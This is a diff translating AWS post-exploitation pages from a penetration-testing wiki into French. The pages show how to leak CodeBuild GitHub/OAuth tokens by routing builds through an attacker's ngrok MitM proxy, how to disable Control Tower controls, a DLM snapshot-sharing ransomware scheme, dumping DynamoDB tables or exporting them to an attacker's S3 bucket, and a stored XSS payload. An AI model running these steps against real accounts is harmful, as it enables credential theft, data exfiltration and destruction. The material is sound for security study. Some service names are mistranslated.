diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
index c514d7a7c..53e5a9f77 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
@@ -2,73 +2,68 @@
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
-## Recover Github/Bitbucket Configured Tokens
-
-First, check if there are any source credentials configured that you could leak:
+## Récupérer les jetons configurés Github/Bitbucket
 
+Tout d'abord, vérifiez s'il y a des identifiants source configurés que vous pourriez fuiter :
 ```bash
 aws codebuild list-source-credentials
 ```
-
 ### Via Docker Image
 
-If you find that authentication to for example Github is set in the account, you can **exfiltrate** that **access** (**GH token or OAuth token**) by making Codebuild to **use an specific docker image** to run the build of the project.
+Si vous constatez que l'authentification, par exemple à Github, est configurée dans le compte, vous pouvez **exfiltrer** cet **accès** (**GH token ou OAuth token**) en faisant en sorte que Codebuild **utilise une image docker spécifique** pour exécuter la construction du projet.
 
-For this purpose you could **create a new Codebuild project** or change the **environment** of an existing one to set the **Docker image**.
+À cette fin, vous pourriez **créer un nouveau projet Codebuild** ou modifier l'**environnement** d'un projet existant pour définir l'**image Docker**.
 
-The Docker image you could use is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). This is a very basic Docker image that will set the **env variables `https_proxy`**, **`http_proxy`** and **`SSL_CERT_FILE`**. This will allow you to intercept most of the traffic of the host indicated in **`https_proxy`** and **`http_proxy`** and trusting the SSL CERT indicated in **`SSL_CERT_FILE`**.
+L'image Docker que vous pourriez utiliser est [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). C'est une image Docker très basique qui définira les **variables d'environnement `https_proxy`**, **`http_proxy`** et **`SSL_CERT_FILE`**. Cela vous permettra d'intercepter la plupart du trafic de l'hôte indiqué dans **`https_proxy`** et **`http_proxy`** et de faire confiance au certificat SSL indiqué dans **`SSL_CERT_FILE`**.
 
-1. **Create & Upload your own Docker MitM image**
-   - Follow the instructions of the repo to set your proxy IP address and set your SSL cert and **build the docker image**.
-     - **DO NOT SET `http_proxy`** to not intercept requests to the metadata endpoint.
-   - You could use **`ngrok`** like `ngrok tcp 4444` lo set the proxy to your host
-   - Once you have the Docker image built, **upload it to a public repo** (Dockerhub, ECR...)
-2. **Set the environment**
-   - Create a **new Codebuild project** or **modify** the environment of an existing one.
-   - Set the project to use the **previously generated Docker image**
+1. **Créer et télécharger votre propre image Docker MitM**
+- Suivez les instructions du dépôt pour définir votre adresse IP de proxy et configurer votre certificat SSL et **construire l'image docker**.
+- **NE PAS CONFIGURER `http_proxy`** pour ne pas intercepter les requêtes vers le point de terminaison des métadonnées.
+- Vous pourriez utiliser **`ngrok`** comme `ngrok tcp 4444` pour définir le proxy vers votre hôte.
+- Une fois que vous avez construit l'image Docker, **téléchargez-la dans un dépôt public** (Dockerhub, ECR...)
+2. **Définir l'environnement**
+- Créez un **nouveau projet Codebuild** ou **modifiez** l'environnement d'un projet existant.
+- Configurez le projet pour utiliser l'**image Docker précédemment générée**.
 
 <figure><img src="../../../../images/image (23).png" alt=""><figcaption></figcaption></figure>
 
-3. **Set the MitM proxy in your host**
-
-- As indicated in the **Github repo** you could use something like:
+3. **Configurer le proxy MitM sur votre hôte**
 
+- Comme indiqué dans le **dépôt Github**, vous pourriez utiliser quelque chose comme :
 ```bash
 mitmproxy --listen-port 4444  --allow-hosts "github.com"
 ```
-
 > [!TIP]
-> The **mitmproxy version used was 9.0.1**, it was reported that with version 10 this might not work.
+> La **version de mitmproxy utilisée était 9.0.1**, il a été signalé qu'avec la version 10, cela pourrait ne pas fonctionner.
 
-4. **Run the build & capture the credentials**
+4. **Exécutez la construction et capturez les identifiants**
 
-- You can see the token in the **Authorization** header:
+- Vous pouvez voir le token dans l'en-tête **Authorization** :
 
-  <figure><img src="../../../../images/image (273).png" alt=""><figcaption></figcaption></figure>
-
-This could also be done from the aws cli with something like
+<figure><img src="../../../../images/image (273).png" alt=""><figcaption></figcaption></figure>
 
+Cela pourrait également être fait depuis l'aws cli avec quelque chose comme
 ```bash
 # Create project using a Github connection
 aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
 
 ## With /tmp/buildspec.json
 {
-    "name": "my-demo-project",
-    "source": {
-        "type": "GITHUB",
-        "location": "https://github.com/uname/repo",
-        "buildspec": "buildspec.yml"
-    },
-    "artifacts": {
-        "type": "NO_ARTIFACTS"
-    },
-    "environment": {
-        "type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
-        "image": "docker.io/carlospolop/docker-mitm:v12",
-        "computeType": "BUILD_GENERAL1_SMALL",
-        "imagePullCredentialsType": "CODEBUILD"
-    }
+"name": "my-demo-project",
+"source": {
+"type": "GITHUB",
+"location": "https://github.com/uname/repo",
+"buildspec": "buildspec.yml"
+},
+"artifacts": {
+"type": "NO_ARTIFACTS"
+},
+"environment": {
+"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
+"image": "docker.io/carlospolop/docker-mitm:v12",
+"computeType": "BUILD_GENERAL1_SMALL",
+"imagePullCredentialsType": "CODEBUILD"
+}
 }
 
 ## Json
@@ -76,117 +71,102 @@ aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
 # Start the build
 aws codebuild start-build --project-name my-project2
 ```
-
 ### Via insecureSSL
 
 **Codebuild** projects have a setting called **`insecureSsl`** that is hidden in the web you can only change it from the API.\
-Enabling this, allows to Codebuild to connect to the repository **without checking the certificate** offered by the platform.
+Activer cela permet à Codebuild de se connecter au dépôt **sans vérifier le certificat** offert par la plateforme.
 
 - First you need to enumerate the current configuration with something like:
-
 ```bash
 aws codebuild batch-get-projects --name <proj-name>
 ```
-
-- Then, with the gathered info you can update the project setting **`insecureSsl`** to **`True`**. The following is an example of my updating a project, notice the **`insecureSsl=True`** at the end (this is the only thing you need to change from the gathered configuration).
-  - Moreover, add also the env variables **http_proxy** and **https_proxy** pointing to your tcp ngrok like:
-
+- Ensuite, avec les informations recueillies, vous pouvez mettre à jour le paramètre du projet **`insecureSsl`** à **`True`**. Voici un exemple de ma mise à jour d'un projet, remarquez le **`insecureSsl=True`** à la fin (c'est la seule chose que vous devez changer dans la configuration recueillie).
+- De plus, ajoutez également les variables d'environnement **http_proxy** et **https_proxy** pointant vers votre tcp ngrok comme :
 ```bash
 aws codebuild update-project --name <proj-name> \
-    --source '{
-        "type": "GITHUB",
-        "location": "https://github.com/carlospolop/404checker",
-        "gitCloneDepth": 1,
-        "gitSubmodulesConfig": {
-            "fetchSubmodules": false
-        },
-        "buildspec": "version: 0.2\n\nphases:\n  build:\n    commands:\n       - echo \"sad\"\n",
-        "auth": {
-            "type": "CODECONNECTIONS",
-            "resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
-        },
-        "reportBuildStatus": false,
-        "insecureSsl": true
-    }' \
-    --environment '{
-        "type": "LINUX_CONTAINER",
-        "image": "aws/codebuild/standard:5.0",
-        "computeType": "BUILD_GENERAL1_SMALL",
-        "environmentVariables": [
-            {
-                "name": "http_proxy",
-                "value": "http://2.tcp.eu.ngrok.io:15027"
-            },
-            {
-                "name": "https_proxy",
-                "value": "http://2.tcp.eu.ngrok.io:15027"
-            }
-        ]
-    }'
+--source '{
+"type": "GITHUB",
+"location": "https://github.com/carlospolop/404checker",
+"gitCloneDepth": 1,
+"gitSubmodulesConfig": {
+"fetchSubmodules": false
+},
+"buildspec": "version: 0.2\n\nphases:\n  build:\n    commands:\n       - echo \"sad\"\n",
+"auth": {
+"type": "CODECONNECTIONS",
+"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
+},
+"reportBuildStatus": false,
+"insecureSsl": true
+}' \
+--environment '{
+"type": "LINUX_CONTAINER",
+"image": "aws/codebuild/standard:5.0",
+"computeType": "BUILD_GENERAL1_SMALL",
+"environmentVariables": [
+{
+"name": "http_proxy",
+"value": "http://2.tcp.eu.ngrok.io:15027"
+},
+{
+"name": "https_proxy",
+"value": "http://2.tcp.eu.ngrok.io:15027"
+}
+]
+}'
 ```
-
-- Then, run the basic example from [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) in the port pointed by the proxy variables (http_proxy and https_proxy)
-
+- Ensuite, exécutez l'exemple de base de [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) sur le port indiqué par les variables de proxy (http_proxy et https_proxy)
 ```python
 from mitm import MITM, protocol, middleware, crypto
 
 mitm = MITM(
-    host="127.0.0.1",
-    port=4444,
-    protocols=[protocol.HTTP],
-    middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
-    certificate_authority = crypto.CertificateAuthority()
+host="127.0.0.1",
+port=4444,
+protocols=[protocol.HTTP],
+middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
+certificate_authority = crypto.CertificateAuthority()
 )
 mitm.run()
 ```
-
-- Finally, click on **Build the project**, the **credentials** will be **sent in clear text** (base64) to the mitm port:
+- Enfin, cliquez sur **Build the project**, les **identifiants** seront **envoyés en texte clair** (base64) au port mitm :
 
 <figure><img src="../../../../images/image (1) (1).png" alt=""><figcaption></figcaption></figure>
 
-### ~~Via HTTP protocol~~
+### ~~Via le protocole HTTP~~
 
-> [!TIP] > **This vulnerability was corrected by AWS at some point the week of the 20th of Feb of 2023 (I think on Friday). So an attacker can't abuse it anymore :)**
+> [!TIP] > **Cette vulnérabilité a été corrigée par AWS à un moment donné de la semaine du 20 février 2023 (je pense que c'était vendredi). Donc un attaquant ne peut plus en abuser :)**
 
-An attacker with **elevated permissions in over a CodeBuild could leak the Github/Bitbucket token** configured or if permissions was configured via OAuth, the **temporary OAuth token used to access the code**.
+Un attaquant avec **des permissions élevées dans un CodeBuild pourrait fuir le token Github/Bitbucket** configuré ou si les permissions étaient configurées via OAuth, le **token OAuth temporaire utilisé pour accéder au code**.
 
-- An attacker could add the environment variables **http_proxy** and **https_proxy** to the CodeBuild project pointing to his machine (for example `http://5.tcp.eu.ngrok.io:14972`).
+- Un attaquant pourrait ajouter les variables d'environnement **http_proxy** et **https_proxy** au projet CodeBuild pointant vers sa machine (par exemple `http://5.tcp.eu.ngrok.io:14972`).
 
 <figure><img src="../../../../images/image (232).png" alt=""><figcaption></figcaption></figure>
 
 <figure><img src="../../../../images/image (213).png" alt=""><figcaption></figcaption></figure>
 
-- Then, change the URL of the github repo to use HTTP instead of HTTPS, for example: `http://github.com/carlospolop-forks/TestActions`
-- Then, run the basic example from [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) in the port pointed by the proxy variables (http_proxy and https_proxy)
-
+- Ensuite, changez l'URL du dépôt github pour utiliser HTTP au lieu de HTTPS, par exemple : `http://github.com/carlospolop-forks/TestActions`
+- Ensuite, exécutez l'exemple de base depuis [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) sur le port pointé par les variables proxy (http_proxy et https_proxy)
 ```python
 from mitm import MITM, protocol, middleware, crypto
 
 mitm = MITM(
-    host="0.0.0.0",
-    port=4444,
-    protocols=[protocol.HTTP],
-    middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
-    certificate_authority = crypto.CertificateAuthority()
+host="0.0.0.0",
+port=4444,
+protocols=[protocol.HTTP],
+middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
+certificate_authority = crypto.CertificateAuthority()
 )
 mitm.run()
 ```
-
-- Next, click on **Build the project** or start the build from command line:
-
+- Ensuite, cliquez sur **Build the project** ou démarrez la build depuis la ligne de commande :
 ```sh
 aws codebuild start-build --project-name <proj-name>
 ```
-
-- Finally, the **credentials** will be **sent in clear text** (base64) to the mitm port:
+- Enfin, les **identifiants** seront **envoyés en texte clair** (base64) au port mitm :
 
 <figure><img src="../../../../images/image (159).png" alt=""><figcaption></figcaption></figure>
 
 > [!WARNING]
-> Now an attacker will be able to use the token from his machine, list all the privileges it has and (ab)use easier than using the CodeBuild service directly.
+> Maintenant, un attaquant pourra utiliser le token depuis sa machine, lister tous les privilèges qu'il a et (ab)user plus facilement que d'utiliser directement le service CodeBuild.
 
 {{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md
index f1c6fb394..0a8281139 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md
@@ -1,24 +1,18 @@
-# AWS - Control Tower Post Exploitation
+# AWS - Contrôle de la Tour Post Exploitation
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Control Tower
+## Contrôle de la Tour
 
 {{#ref}}
 ../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md
 {{#endref}}
 
-### Enable / Disable Controls
-
-To further exploit an account, you might need to disable/enable Control Tower controls:
+### Activer / Désactiver les Contrôles
 
+Pour exploiter davantage un compte, vous pourriez avoir besoin de désactiver/activer les contrôles de la Tour de Contrôle :
 ```bash
 aws controltower disable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
 aws controltower enable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
 ```
-
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
index baa309e53..61a8d8135 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
@@ -2,98 +2,90 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Data Lifecycle Manger (DLM)
+## Gestionnaire de Cycle de Vie des Données (DLM)
 
 ### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy`
 
-A ransomware attack can be executed by encrypting as many EBS volumes as possible and then erasing the current EC2 instances, EBS volumes, and snapshots. To automate this malicious activity, one can employ Amazon DLM, encrypting the snapshots with a KMS key from another AWS account and transferring the encrypted snapshots to a different account. Alternatively, they might transfer snapshots without encryption to an account they manage and then encrypt them there. Although it's not straightforward to encrypt existing EBS volumes or snapshots directly, it's possible to do so by creating a new volume or snapshot.
+Une attaque par ransomware peut être exécutée en chiffrant autant de volumes EBS que possible, puis en effaçant les instances EC2, les volumes EBS et les snapshots actuels. Pour automatiser cette activité malveillante, on peut utiliser Amazon DLM, en chiffrant les snapshots avec une clé KMS d'un autre compte AWS et en transférant les snapshots chiffrés vers un compte différent. Alternativement, ils pourraient transférer des snapshots sans chiffrement vers un compte qu'ils gèrent, puis les chiffrer là-bas. Bien qu'il ne soit pas simple de chiffrer directement les volumes EBS ou les snapshots existants, il est possible de le faire en créant un nouveau volume ou un nouveau snapshot.
 
-Firstly, one will use a command to gather information on volumes, such as instance ID, volume ID, encryption status, attachment status, and volume type.
+Tout d'abord, on utilisera une commande pour rassembler des informations sur les volumes, telles que l'ID d'instance, l'ID de volume, l'état de chiffrement, l'état de connexion et le type de volume.
 
 `aws ec2 describe-volumes`
 
-Secondly, one will create the lifecycle policy. This command employs the DLM API to set up a lifecycle policy that automatically takes daily snapshots of specified volumes at a designated time. It also applies specific tags to the snapshots and copies tags from the volumes to the snapshots. The policyDetails.json file includes the lifecycle policy's specifics, such as target tags, schedule, the ARN of the optional KMS key for encryption, and the target account for snapshot sharing, which will be recorded in the victim's CloudTrail logs.
-
+Deuxièmement, on créera la politique de cycle de vie. Cette commande utilise l'API DLM pour configurer une politique de cycle de vie qui prend automatiquement des snapshots quotidiens des volumes spécifiés à un moment désigné. Elle applique également des balises spécifiques aux snapshots et copie les balises des volumes vers les snapshots. Le fichier policyDetails.json inclut les spécificités de la politique de cycle de vie, telles que les balises cibles, le calendrier, l'ARN de la clé KMS optionnelle pour le chiffrement, et le compte cible pour le partage de snapshots, qui sera enregistré dans les journaux CloudTrail de la victime.
 ```bash
 aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json
 ```
-
-A template for the policy document can be seen here:
-
+Un modèle pour le document de politique peut être vu ici :
 ```bash
 {
-  "PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
-  "ResourceTypes": [
-    "VOLUME"
-  ],
-  "TargetTags": [
-    {
-      "Key": "ExampleKey",
-      "Value": "ExampleValue"
-    }
-  ],
-  "Schedules": [
-    {
-      "Name": "DailySnapshots",
-      "CopyTags": true,
-      "TagsToAdd": [
-        {
-          "Key": "SnapshotCreator",
-          "Value": "DLM"
-        }
-      ],
-      "VariableTags": [
-        {
-          "Key": "CostCenter",
-          "Value": "Finance"
-        }
-      ],
-      "CreateRule": {
-        "Interval": 24,
-        "IntervalUnit": "HOURS",
-        "Times": [
-          "03:00"
-        ]
-      },
-      "RetainRule": {
-        "Count": 14
-      },
-      "FastRestoreRule": {
-        "Count": 2,
-        "Interval": 12,
-        "IntervalUnit": "HOURS"
-      },
-      "CrossRegionCopyRules": [
-        {
-          "TargetRegion": "us-west-2",
-          "Encrypted": true,
-          "CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
-          "CopyTags": true,
-          "RetainRule": {
-            "Interval": 1,
-            "IntervalUnit": "DAYS"
-          }
-        }
-      ],
-      "ShareRules": [
-        {
-          "TargetAccounts": [
-            "123456789012"
-          ],
-          "UnshareInterval": 30,
-          "UnshareIntervalUnit": "DAYS"
-        }
-      ]
-    }
-  ],
-  "Parameters": {
-    "ExcludeBootVolume": false
-  }
+"PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
+"ResourceTypes": [
+"VOLUME"
+],
+"TargetTags": [
+{
+"Key": "ExampleKey",
+"Value": "ExampleValue"
+}
+],
+"Schedules": [
+{
+"Name": "DailySnapshots",
+"CopyTags": true,
+"TagsToAdd": [
+{
+"Key": "SnapshotCreator",
+"Value": "DLM"
+}
+],
+"VariableTags": [
+{
+"Key": "CostCenter",
+"Value": "Finance"
+}
+],
+"CreateRule": {
+"Interval": 24,
+"IntervalUnit": "HOURS",
+"Times": [
+"03:00"
+]
+},
+"RetainRule": {
+"Count": 14
+},
+"FastRestoreRule": {
+"Count": 2,
+"Interval": 12,
+"IntervalUnit": "HOURS"
+},
+"CrossRegionCopyRules": [
+{
+"TargetRegion": "us-west-2",
+"Encrypted": true,
+"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
+"CopyTags": true,
+"RetainRule": {
+"Interval": 1,
+"IntervalUnit": "DAYS"
+}
+}
+],
+"ShareRules": [
+{
+"TargetAccounts": [
+"123456789012"
+],
+"UnshareInterval": 30,
+"UnshareIntervalUnit": "DAYS"
+}
+]
+}
+],
+"Parameters": {
+"ExcludeBootVolume": false
+}
 }
 ```
-
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
index d63689d9e..efb571765 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
@@ -4,7 +4,7 @@
 
 ## DynamoDB
 
-For more information check:
+Pour plus d'informations, consultez :
 
 {{#ref}}
 ../aws-services/aws-dynamodb-enum.md
@@ -12,342 +12,292 @@ For more information check:
 
 ### `dynamodb:BatchGetItem`
 
-An attacker with this permissions will be able to **get items from tables by the primary key** (you cannot just ask for all the data of the table). This means that you need to know the primary keys (you can get this by getting the table metadata (`describe-table`).
+Un attaquant avec ces permissions pourra **récupérer des éléments des tables par la clé primaire** (vous ne pouvez pas simplement demander toutes les données de la table). Cela signifie que vous devez connaître les clés primaires (vous pouvez obtenir cela en récupérant les métadonnées de la table (`describe-table`).
 
 {{#tabs }}
 {{#tab name="json file" }}
-
 ```bash
 aws dynamodb batch-get-item --request-items file:///tmp/a.json
 
 // With a.json
 {
-    "ProductCatalog" : { // This is the table name
-        "Keys": [
-            {
-            "Id" : { // Primary keys name
-                "N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
-            }
-            }
-        ]
-    }
+"ProductCatalog" : { // This is the table name
+"Keys": [
+{
+"Id" : { // Primary keys name
+"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
+}
+}
+]
+}
 }
 ```
-
 {{#endtab }}
 
 {{#tab name="inline" }}
-
 ```bash
 aws dynamodb batch-get-item \
-    --request-items '{"TargetTable": {"Keys": [{"Id": {"S": "item1"}}, {"Id": {"S": "item2"}}]}}' \
-    --region <region>
+--request-items '{"TargetTable": {"Keys": [{"Id": {"S": "item1"}}, {"Id": {"S": "item2"}}]}}' \
+--region <region>
 ```
-
 {{#endtab }}
 {{#endtabs }}
 
-**Potential Impact:** Indirect privesc by locating sensitive information in the table
+**Impact potentiel :** Privesc indirect en localisant des informations sensibles dans la table
 
 ### `dynamodb:GetItem`
 
-**Similar to the previous permissions** this one allows a potential attacker to read values from just 1 table given the primary key of the entry to retrieve:
-
+**Semblable aux autorisations précédentes** celle-ci permet à un attaquant potentiel de lire des valeurs d'une seule table donnée la clé primaire de l'entrée à récupérer :
 ```json
 aws dynamodb get-item --table-name ProductCatalog --key  file:///tmp/a.json
 
 // With a.json
 {
 "Id" : {
-    "N": "205"
+"N": "205"
 }
 }
 ```
-
-With this permission it's also possible to use the **`transact-get-items`** method like:
-
+Avec cette autorisation, il est également possible d'utiliser la méthode **`transact-get-items`** comme :
 ```json
 aws dynamodb transact-get-items \
-    --transact-items file:///tmp/a.json
+--transact-items file:///tmp/a.json
 
 // With a.json
 [
-    {
-        "Get": {
-            "Key": {
-                "Id": {"N": "205"}
-            },
-            "TableName": "ProductCatalog"
-        }
-    }
+{
+"Get": {
+"Key": {
+"Id": {"N": "205"}
+},
+"TableName": "ProductCatalog"
+}
+}
 ]
 ```
-
-**Potential Impact:** Indirect privesc by locating sensitive information in the table
+**Impact potentiel :** Privesc indirect en localisant des informations sensibles dans la table
 
 ### `dynamodb:Query`
 
-**Similar to the previous permissions** this one allows a potential attacker to read values from just 1 table given the primary key of the entry to retrieve. It allows to use a [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), but the only comparison allowed with the primary key (that must appear) is "EQ", so you cannot use a comparison to get the whole DB in a request.
+**Semblable aux autorisations précédentes**, celle-ci permet à un attaquant potentiel de lire des valeurs d'une seule table donnée la clé primaire de l'entrée à récupérer. Elle permet d'utiliser un [sous-ensemble de comparaisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), mais la seule comparaison autorisée avec la clé primaire (qui doit apparaître) est "EQ", donc vous ne pouvez pas utiliser une comparaison pour obtenir l'ensemble de la DB dans une requête.
 
 {{#tabs }}
 {{#tab name="json file" }}
-
 ```bash
 aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json
 
- // With a.json
- {
+// With a.json
+{
 "Id" : {
-    "ComparisonOperator":"EQ",
-    "AttributeValueList": [ {"N": "205"} ]
-    }
+"ComparisonOperator":"EQ",
+"AttributeValueList": [ {"N": "205"} ]
+}
 }
 ```
-
 {{#endtab }}
 
 {{#tab name="inline" }}
-
 ```bash
 aws dynamodb query \
-    --table-name TargetTable \
-    --key-condition-expression "AttributeName = :value" \
-    --expression-attribute-values '{":value":{"S":"TargetValue"}}' \
-    --region <region>
+--table-name TargetTable \
+--key-condition-expression "AttributeName = :value" \
+--expression-attribute-values '{":value":{"S":"TargetValue"}}' \
+--region <region>
 ```
-
 {{#endtab }}
 {{#endtabs }}
 
-**Potential Impact:** Indirect privesc by locating sensitive information in the table
+**Impact potentiel :** Privesc indirect en localisant des informations sensibles dans la table
 
 ### `dynamodb:Scan`
 
-You can use this permission to **dump the entire table easily**.
-
+Vous pouvez utiliser cette autorisation pour **extraire facilement l'ensemble de la table**.
 ```bash
 aws dynamodb scan --table-name <t_name> #Get data inside the table
 ```
-
-**Potential Impact:** Indirect privesc by locating sensitive information in the table
+**Impact potentiel :** Privesc indirect en localisant des informations sensibles dans la table
 
 ### `dynamodb:PartiQLSelect`
 
-You can use this permission to **dump the entire table easily**.
-
+Vous pouvez utiliser cette autorisation pour **extraire facilement l'ensemble de la table**.
 ```bash
 aws dynamodb execute-statement \
-    --statement "SELECT * FROM ProductCatalog"
+--statement "SELECT * FROM ProductCatalog"
 ```
-
-This permission also allow to perform `batch-execute-statement` like:
-
+Cette autorisation permet également d'exécuter `batch-execute-statement` comme :
 ```bash
 aws dynamodb batch-execute-statement \
-    --statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
+--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
 ```
+mais vous devez spécifier la clé primaire avec une valeur, donc ce n'est pas très utile.
 
-but you need to specify the primary key with a value, so it isn't that useful.
-
-**Potential Impact:** Indirect privesc by locating sensitive information in the table
+**Impact potentiel :** Privesc indirect en localisant des informations sensibles dans la table
 
 ### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`
 
-This permission will allow an attacker to **export the whole table to a S3 bucket** of his election:
-
+Cette permission permettra à un attaquant de **exporter l'ensemble de la table vers un bucket S3** de son choix :
 ```bash
 aws dynamodb export-table-to-point-in-time \
-    --table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
-    --s3-bucket <attacker_s3_bucket> \
-    --s3-prefix <optional_prefix> \
-    --export-time <point_in_time> \
-    --region <region>
+--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
+--s3-bucket <attacker_s3_bucket> \
+--s3-prefix <optional_prefix> \
+--export-time <point_in_time> \
+--region <region>
 ```
-
-Note that for this to work the table needs to have point-in-time-recovery enabled, you can check if the table has it with:
-
+Notez que pour que cela fonctionne, la table doit avoir la récupération à un moment donné activée, vous pouvez vérifier si la table l'a avec :
 ```bash
 aws dynamodb describe-continuous-backups \
-  --table-name <tablename>
+--table-name <tablename>
 ```
-
-If it isn't enabled, you will need to **enable it** and for that you need the **`dynamodb:ExportTableToPointInTime`** permission:
-
+Si ce n'est pas activé, vous devrez **l'activer** et pour cela, vous avez besoin de la permission **`dynamodb:ExportTableToPointInTime`** :
 ```bash
 aws dynamodb update-continuous-backups \
-    --table-name <value> \
-    --point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
+--table-name <value> \
+--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
 ```
-
-**Potential Impact:** Indirect privesc by locating sensitive information in the table
+**Impact potentiel :** Privesc indirect en localisant des informations sensibles dans la table
 
 ### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
 
-With these permissions, an attacker would be able to **create a new table from a backup** (or even create a backup to then restore it in a different table). Then, with the necessary permissions, he would be able to check **information** from the backups that c**ould not be any more in the production** table.
-
+Avec ces autorisations, un attaquant serait en mesure de **créer une nouvelle table à partir d'une sauvegarde** (ou même de créer une sauvegarde pour ensuite la restaurer dans une autre table). Ensuite, avec les autorisations nécessaires, il pourrait vérifier **des informations** provenant des sauvegardes qui **pourraient ne plus être dans la table de production**.
 ```bash
 aws dynamodb restore-table-from-backup \
-    --backup-arn <source-backup-arn> \
-    --target-table-name <new-table-name> \
-    --region <region>
+--backup-arn <source-backup-arn> \
+--target-table-name <new-table-name> \
+--region <region>
 ```
-
-**Potential Impact:** Indirect privesc by locating sensitive information in the table backup
+**Impact potentiel :** Privesc indirect en localisant des informations sensibles dans la sauvegarde de la table
 
 ### `dynamodb:PutItem`
 
-This permission allows users to add a **new item to the table or replace an existing item** with a new item. If an item with the same primary key already exists, the **entire item will be replaced** with the new item. If the primary key does not exist, a new item with the specified primary key will be **created**.
+Cette permission permet aux utilisateurs d'ajouter un **nouvel élément à la table ou de remplacer un élément existant** par un nouvel élément. Si un élément avec la même clé primaire existe déjà, **l'élément entier sera remplacé** par le nouvel élément. Si la clé primaire n'existe pas, un nouvel élément avec la clé primaire spécifiée sera **créé**.
 
 {{#tabs }}
-{{#tab name="XSS Example" }}
-
+{{#tab name="Exemple XSS" }}
 ```bash
 ## Create new item with XSS payload
 aws dynamodb put-item --table <table_name> --item file://add.json
 ### With add.json:
 {
-   "Id": {
-      "S": "1000"
-   },
-   "Name": {
-      "S":  "Marc"
-   },
-   "Description": {
-       "S": "<script>alert(1)</script>"
-   }
+"Id": {
+"S": "1000"
+},
+"Name": {
+"S":  "Marc"
+},
+"Description": {
+"S": "<script>alert(1)</script>"
+}
 }
 ```
-
 {{#endtab }}
 
-{{#tab name="AI Example" }}
-
+{{#tab name="Exemple IA" }}
 ```bash
 aws dynamodb put-item \
-    --table-name ExampleTable \
-    --item '{"Id": {"S": "1"}, "Attribute1": {"S": "Value1"}, "Attribute2": {"S": "Value2"}}' \
-    --region <region>
+--table-name ExampleTable \
+--item '{"Id": {"S": "1"}, "Attribute1": {"S": "Value1"}, "Attribute2": {"S": "Value2"}}' \
+--region <region>
 ```
-
 {{#endtab }}
 {{#endtabs }}
 
